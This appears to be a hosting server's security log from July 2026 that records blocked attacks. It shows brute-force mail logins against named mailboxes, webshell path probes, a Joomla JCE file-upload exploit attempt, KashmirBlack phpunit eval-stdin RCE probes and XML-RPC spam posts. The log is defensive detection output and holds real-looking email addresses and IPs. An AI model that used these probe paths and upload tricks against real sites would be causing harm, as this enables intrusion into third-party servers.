IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:192.186.151.152||TA:192.186.151.152||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.46.58.104
country_id: 1835841
description:
2026-07-18 04:44:17 dovecot_login authenticator failed for H=([24.249.199.19]) [14.46.58.104]:35500: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.116.117.203
country_id: 2921044
description:
2026-07-18 04:44:24 dovecot_login authenticator failed for H=(111-70-7-136.emome-ip.hinet.net) [51.116.117.203]:38886: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.20.70.64
country_id: 1668284
description:
2026-07-18 04:45:44 dovecot_login authenticator failed for H=211-20-70-64.hinet-ip.hinet.net ([217.59.129.132]) [211.20.70.64]:42660: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 169.224.36.5
country_id: 99237
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/solutions/diy-products HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-18 04:46:06 dovecot_login authenticator failed for H=([202.84.34.85]) [165.173.21.44]:55040: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.6.81.59
country_id: 1880251
description:
2026-07-18 04:46:46 dovecot_login authenticator failed for H=bb121-6-81-59.singnet.com.sg (dsl-ncr-dynamic-097.37.23.125.airtelbroadband.in) [121.6.81.59]:49534: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.134.0.250
country_id: 1168579
description:
2026-07-18 04:46:58 dovecot_login authenticator failed for H=([72.223.188.94]) [103.134.0.250]:54293: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-18 04:47:34 dovecot_login authenticator failed for H=([189.113.185.142]) [190.157.13.210]:48598: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.202.206.76
country_id: 1819730
description:
2026-07-18 04:47:59 dovecot_login authenticator failed for H=([199.102.106.89]) [121.202.206.76]:45363: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.152.25
country_id: 1733045
description:
2026-07-18 04:48:03 dovecot_login authenticator failed for H=([106.246.89.68]) [49.124.152.25]:50328: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.193.187.154
country_id: 1269750
description:
2026-07-18 04:49:22 dovecot_login authenticator failed for H=([58.218.195.26]) [113.193.187.154]:35398: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.82.110.150
country_id: 660013
description:
2026-07-18 04:49:09 dovecot_login authenticator failed for H=(098240.cagr.ncyu.edu.tw) [45.82.110.150]:39660: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.203.138
country_id: 1269750
description:
2026-07-18 04:49:58 dovecot_login authenticator failed for H=([12.150.243.20]) [125.23.203.138]:45638: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.131.63
country_id: 99237
description:
2026-07-18 04:50:12 dovecot_login authenticator failed for H=([72.205.0.69]) [65.20.131.63]:55901: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.10.178
country_id: 6251999
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/combinations/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.170.254.20
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/img/class-wp-http-client.php||SC:/home/ahsmarine/public_html/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-18 04:56:00 dovecot_login authenticator failed for H=(h-79-136-8-69.a463.priv.bahnhof.se) [182.95.101.182]:54754: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.76.205
country_id: 6252001
domain: stcinemas.co
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/uploads/bigdump.php||SC:/home/stcinemas/public_html/uploads||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.66.197.199
country_id: 2661886
description:
2026-07-18 04:56:17 dovecot_login authenticator failed for H=213-66-197-199-no2550.tbcn.telia.com ([182.95.182.138]) [213.66.197.199]:60302: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.69.44.118
country_id: 2077456
description:
2026-07-18 04:57:27 dovecot_login authenticator failed for H=([182.73.49.249]) [115.69.44.118]:45216: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 136.34.252.154
country_id: 6252001
description:
2026-07-18 05:00:33 dovecot_login authenticator failed for H=([121.66.124.146]) [136.34.252.154]:62040: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 175.200.217.128
country_id: 1835841
description:
2026-07-18 05:00:58 dovecot_login authenticator failed for H=(static.ill.61.2.228.177.bsnl.co.in) [175.200.217.128]:43022: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-18 05:01:25 dovecot_login authenticator failed for H=([182.95.214.23]) [117.211.15.93]:39174: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.25.108.2
country_id: 1643084
description:
2026-07-18 05:04:22 dovecot_login authenticator failed for H=ns1.sinergi.net.id (74-209-100-246.truvista.net) [223.25.108.2]:56440: 535 Incorrect authentication data (set_id=mbt)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 98.157.226.42
country_id: 6252001
description:
2026-07-18 05:03:58 dovecot_login authenticator failed for H=([196.188.187.85]) [98.157.226.42]:44132: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 47.230.248.17
country_id: 6252001
domain: metrodigitals.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:46537.metrodigitals.com||ServerName:metrodigitals.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:993e33c53b690e52243160c6d025e1de28c2a753||Title:0x84ad800f||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.13.207.39
country_id: 3077311
description:
2026-07-18 05:06:47 dovecot_login authenticator failed for H=46-13-207-39.customers.tmcz.cz ([101.13.4.119]) [46.13.207.39]:45739: 535 Incorrect authentication data (set_id=rdcentre1)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.56.205
country_id: 1269750
description:
2026-07-18 05:06:39 dovecot_login authenticator failed for H=([125.62.129.188]) [128.185.56.205]:52156: 535 Incorrect authentication data (set_id=rdcentre1@ibmcglobal.com)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 217.165.163.119
country_id: 290557
domain: kallanigroup.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:96382.kallanigroup.com||ServerName:kallanigroup.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ffb22dd3bf18cd3740a0630b16f8a7c5a92fa47d||Title:cz58ryxasgx4s1g44||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.49
country_id: 2661886
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"http://freeworld.imotor.com/space.php?uid=109162&do=profile\">gaming and driving</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.104.73.153
country_id: 6251999
domain: sriganapathyent.in.vrishenterprises.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/vrishenterprises/sriganapathyent.in/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.203.17.220
country_id: 6252001
description:
2026-07-18 05:14:48 dovecot_login authenticator failed for H=c-73-203-17-220.hsd1.co.comcast.net ([24.180.43.126]) [73.203.17.220]:59310: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.133.224
country_id: 1733045
description:
2026-07-18 05:15:12 dovecot_login authenticator failed for H=([218.92.251.198]) [49.124.133.224]:47158: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.163.44.10
country_id: 1269750
description:
2026-07-18 05:16:56 dovecot_login authenticator failed for H=([182.95.181.50]) [103.163.44.10]:59788: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 83.219.96.132
country_id: 3562981
description:
2026-07-18 05:17:03 H=([10.0.0.53]) [83.219.96.132]:16037 F=<prodata@infinitummail.com> rejected RCPT <prodata@infinitummail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 83.219.96.132
country_id: 3562981
description:
2026-07-18 05:17:43 H=([10.0.0.53]) [83.219.96.132]:36956 F=<ventas@empresasmexico.com> rejected RCPT <ventas@empresasmexico.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 83.219.96.132
country_id: 3562981
description:
2026-07-18 05:19:06 H=([10.0.0.53]) [83.219.96.132]:57396 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<webmex@hotmail.com> rejected RCPT <webmex@hotmail.com>: SMTP AUTH is required for message submission on port 587


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.219.172.24
country_id: 2077456
description:
2026-07-18 05:23:54 dovecot_login authenticator failed for H=203-219-172-24.tpgi.com.au (111-70-29-148.emome-ip.hinet.net) [203.219.172.24]:57932: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.133.56
country_id: 99237
description:
2026-07-18 05:23:43 dovecot_login authenticator failed for H=([193.181.197.31]) [65.20.133.56]:44007: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.129.42
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://zzz-1.com/\">https://zzz-1.com/</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.105.255.56
country_id: 298795
description:
2026-07-18 05:29:36 dovecot_login authenticator failed for H=([31.173.67.115]) [85.105.255.56]:35800: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.190.89.138
country_id: 6252001
description:
2026-07-18 05:29:44 dovecot_login authenticator failed for H=(78.189.17.35.static.ttnet.com.tr) [50.190.89.138]:42282: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.12.178
country_id: 1269750
description:
2026-07-18 05:30:27 dovecot_login authenticator failed for H=(72-24-210-58.cpe.sparklight.net) [182.95.12.178]:33884: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.114.99.21
country_id: 3865483
domain: www.metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.metrodigitals.com/ HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 161.153.13.153
country_id: 6252001
description:
2026-07-18 05:42:32 dovecot_login authenticator failed for H=(78.187.230.168.dynamic.ttnet.com.tr) [161.153.13.153]:54557: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.86.62
country_id: 1269750
description:
2026-07-18 05:42:02 dovecot_login authenticator failed for H=([128.185.33.228]) [182.78.86.62]:44836: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.76.71.82
country_id: 1269750
description:
2026-07-18 05:46:04 dovecot_login authenticator failed for H=([31.130.35.29]) [182.76.71.82]:50884: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.156
country_id: 1835841
description:
2026-07-18 05:46:18 dovecot_login authenticator failed for H=([192.111.137.33]) [121.131.220.156]:53632: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.168.241.32
country_id: 1269750
description:
2026-07-18 05:46:30 dovecot_login authenticator failed for H=(201-91-153-121.customer.tdatabrasil.net.br) [103.168.241.32]:60834: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.5.234.249
country_id: 3144096
description:
2026-07-18 05:46:30 dovecot_login authenticator failed for H=([199.58.185.11]) [185.5.234.249]:60906: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.153
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:192.186.151.153||TA:192.186.151.153||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.225.244.99
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/fc1396219 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.227
country_id: 1269750
description:
2026-07-18 05:51:42 dovecot_login authenticator failed for H=([49.124.142.132]) [128.185.33.227]:58916: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.240.117.237
country_id: 2077456
description:
2026-07-18 05:52:46 dovecot_login authenticator failed for H=60-240-117-237.tpgi.com.au ([195.222.57.190]) [60.240.117.237]:57700: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.33.119.34
country_id: 1835841
description:
2026-07-18 05:53:01 dovecot_login authenticator failed for H=([182.31.70.36]) [118.33.119.34]:52146: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.207.177.56
country_id: 192950
description:
2026-07-18 05:53:37 dovecot_login authenticator failed for H=(d54C3B881.access.telenet.be) [196.207.177.56]:45245: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.62.95.243
country_id: 1269750
description:
2026-07-18 05:53:58 dovecot_login authenticator failed for H=(191-116-247-190.fibertel.com.ar) [202.62.95.243]:39414: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcejpe3572b.xml.php||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 111.221.44.12
country_id: 1880251
domain: www.globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jcew9ho3zbw.xml.php||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.53.105.200
country_id: 1694008
description:
2026-07-18 05:57:37 dovecot_login authenticator failed for H=([120.194.220.230]) [122.53.105.200]:35617: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.102.230.82
country_id: 2264397
description:
2026-07-18 05:57:13 dovecot_login authenticator failed for H=([192.111.139.161]) [93.102.230.82]:32932: 535 Incorrect authentication data (set_id=support@ibmcglobal.com)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 172.81.134.30
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://hvac-air-conditioning-repair-valencia-pa.zzz-1.com/\">homepage</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 51.235.113.70
country_id: 102358
domain: kallanigroup.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/kallanigroup.com/ HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 104.211.51.183
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/index.php||SC:/home/ahsmarine/public_html/wp-content/uploads/index.php||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.178.250.4
country_id: 3703430
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/a21471597 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.16.17.141
country_id: 2921044
description:
2026-07-18 06:14:37 dovecot_login authenticator failed for H=([49.124.151.70]) [94.16.17.141]:55010: 535 Incorrect authentication data (set_id=cil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.148.206.98
country_id: 1269750
description:
2026-07-18 06:14:14 dovecot_login authenticator failed for H=(adsl-181-129-31-42.une.net.co) [103.148.206.98]:56136: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.242.170.10
country_id: 1036973
description:
2026-07-18 06:17:21 dovecot_login authenticator failed for H=([211.220.156.232]) [197.242.170.10]:60239: 535 Incorrect authentication data (set_id=mail@kallanigroup.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.130.102.172
country_id: 1835841
description:
2026-07-18 06:18:01 dovecot_login authenticator failed for H=([192.111.134.12]) [125.130.102.172]:58430: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.76.221.51
country_id: 1835841
description:
2026-07-18 06:18:17 dovecot_login authenticator failed for H=([103.147.248.23]) [61.76.221.51]:3631: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.6.72.106
country_id: 1835841
description:
2026-07-18 06:21:29 dovecot_login authenticator failed for H=([49.124.131.245]) [59.6.72.106]:35594: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 62.105.205.101
country_id: 1605651
domain: ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:62.105.205.101||TA:62.105.205.101||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.166.50.15
country_id: 453733
description:
2026-07-18 06:30:44 dovecot_login authenticator failed for H=15-50-166-83.dyn.estpak.ee (211-23-194-216.hinet-ip.hinet.net) [83.166.50.15]:58537: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.181.2.48
country_id: 3202326
description:
2026-07-18 06:31:05 dovecot_login authenticator failed for H=(h31-192-201-106.cust.bredband2.com) [5.181.2.48]:59736: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.23.155.110
country_id: 1269750
description:
2026-07-18 06:32:00 dovecot_login authenticator failed for H=([116.114.94.242]) [125.23.155.110]:35474: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 93.95.241.150
country_id: 1522867
description:
2026-07-18 06:32:17 dovecot_login authenticator failed for H=([49.124.149.217]) [93.95.241.150]:40411: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.118.24.100
country_id: 1835841
description:
2026-07-18 06:32:23 dovecot_login authenticator failed for H=([49.124.153.15]) [39.118.24.100]:54258: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 152.173.48.112
country_id: 3895114
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/our-clients HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.156
country_id: 1835841
description:
2026-07-18 06:32:41 dovecot_login authenticator failed for H=([111.26.115.121]) [121.131.220.156]:40738: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.53.106.124
country_id: 1694008
description:
2026-07-18 06:45:24 dovecot_login authenticator failed for H=([120.194.220.230]) [122.53.106.124]:44787: 535 Incorrect authentication data (set_id=rdcentre@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.63.126
country_id: 1269750
description:
2026-07-18 06:45:52 dovecot_login authenticator failed for H=(23-30-11-253-static.hfc.comcastbusiness.net) [182.95.63.126]:33426: 535 Incorrect authentication data (set_id=rdcentre)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 222.104.76.94
country_id: 1835841
description:
2026-07-18 06:46:23 dovecot_login authenticator failed for H=([80.65.90.155]) [222.104.76.94]:60512: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 219.248.4.146
country_id: 1835841
description:
2026-07-18 06:46:40 dovecot_login authenticator failed for H=([128.185.187.2]) [219.248.4.146]:50712: 535 Incorrect authentication data (set_id=bernadetta)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.228.224.75
country_id: 1562822
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/large-display-screens-projectors HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.217.64
country_id: 99237
description:
2026-07-18 06:52:04 dovecot_login authenticator failed for H=(d-23-244-232-117.wv.cpe.atlanticbb.net) [65.20.217.64]:45543: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.234.54
country_id: 1269750
description:
2026-07-18 06:52:22 dovecot_login authenticator failed for H=(dsl-hkibng42-50dfc9-173.dhcp.inet.fi) [122.187.234.54]:35963: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.117.29.132
country_id: 597427
domain: www.msftncsi.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.msftncsi.com/ncsi.txt HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.178
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:184.174.46.178||TA:184.174.46.178||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.29.162.116
country_id: 1210997
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f12790232 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.176.21.104
country_id: 1269750
description:
2026-07-18 07:00:21 dovecot_login authenticator failed for H=([182.95.109.138]) [122.176.21.104]:59311: 535 Incorrect authentication data (set_id=bernadetta@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.110.176.222
country_id: 1694008
description:
2026-07-18 07:00:39 dovecot_login authenticator failed for H=([142.54.225.52]) [27.110.176.222]:47372: 535 Incorrect authentication data (set_id=bernadetta)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.106.138
country_id: 1269750
description:
2026-07-18 07:02:32 dovecot_login authenticator failed for H=([172.251.252.216]) [182.95.106.138]:39114: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-18 07:02:20 dovecot_login authenticator failed for H=([98.190.239.1]) [206.62.136.109]:32856: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 173.208.236.138
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:173.208.236.138||TA:173.208.236.138||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.115.255.103
country_id: 2542007
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/component/content/article/tx-nr696-7-2-channel-network-a-v-receiver?Itemid=101&catid=18 HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 77316797
name: IM360 WAF: RCE in uri used by KashmirBlack
abuser: 64.225.97.4
country_id: 2921044
domain: www.stcinemas.co
description:
IM360 WAF: RCE in uri used by KashmirBlack||WPU:||RSV:8.31||T:APACHE||MV:/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.226.26.5
country_id: 3469034
domain: futuracare.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.31||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/futuracarecom/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 31.208.53.209
country_id: 2661886
description:
2026-07-18 07:06:38 dovecot_login authenticator failed for H=31-208-53-209.cust.bredband2.com ([49.124.151.9]) [31.208.53.209]:41076: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 89.43.79.212
country_id: 798549
domain: metrodigitals.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/metrodigitals.com/retail-and-hospitality HTTP/1.1||RSV:8.31||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.179
country_id: 6252001
domain: alnayza.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.31||T:APACHE||RA:184.174.46.179||TA:184.174.46.179||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 184.174.46.180
country_id: 6252001
domain: alnayza.com
description:
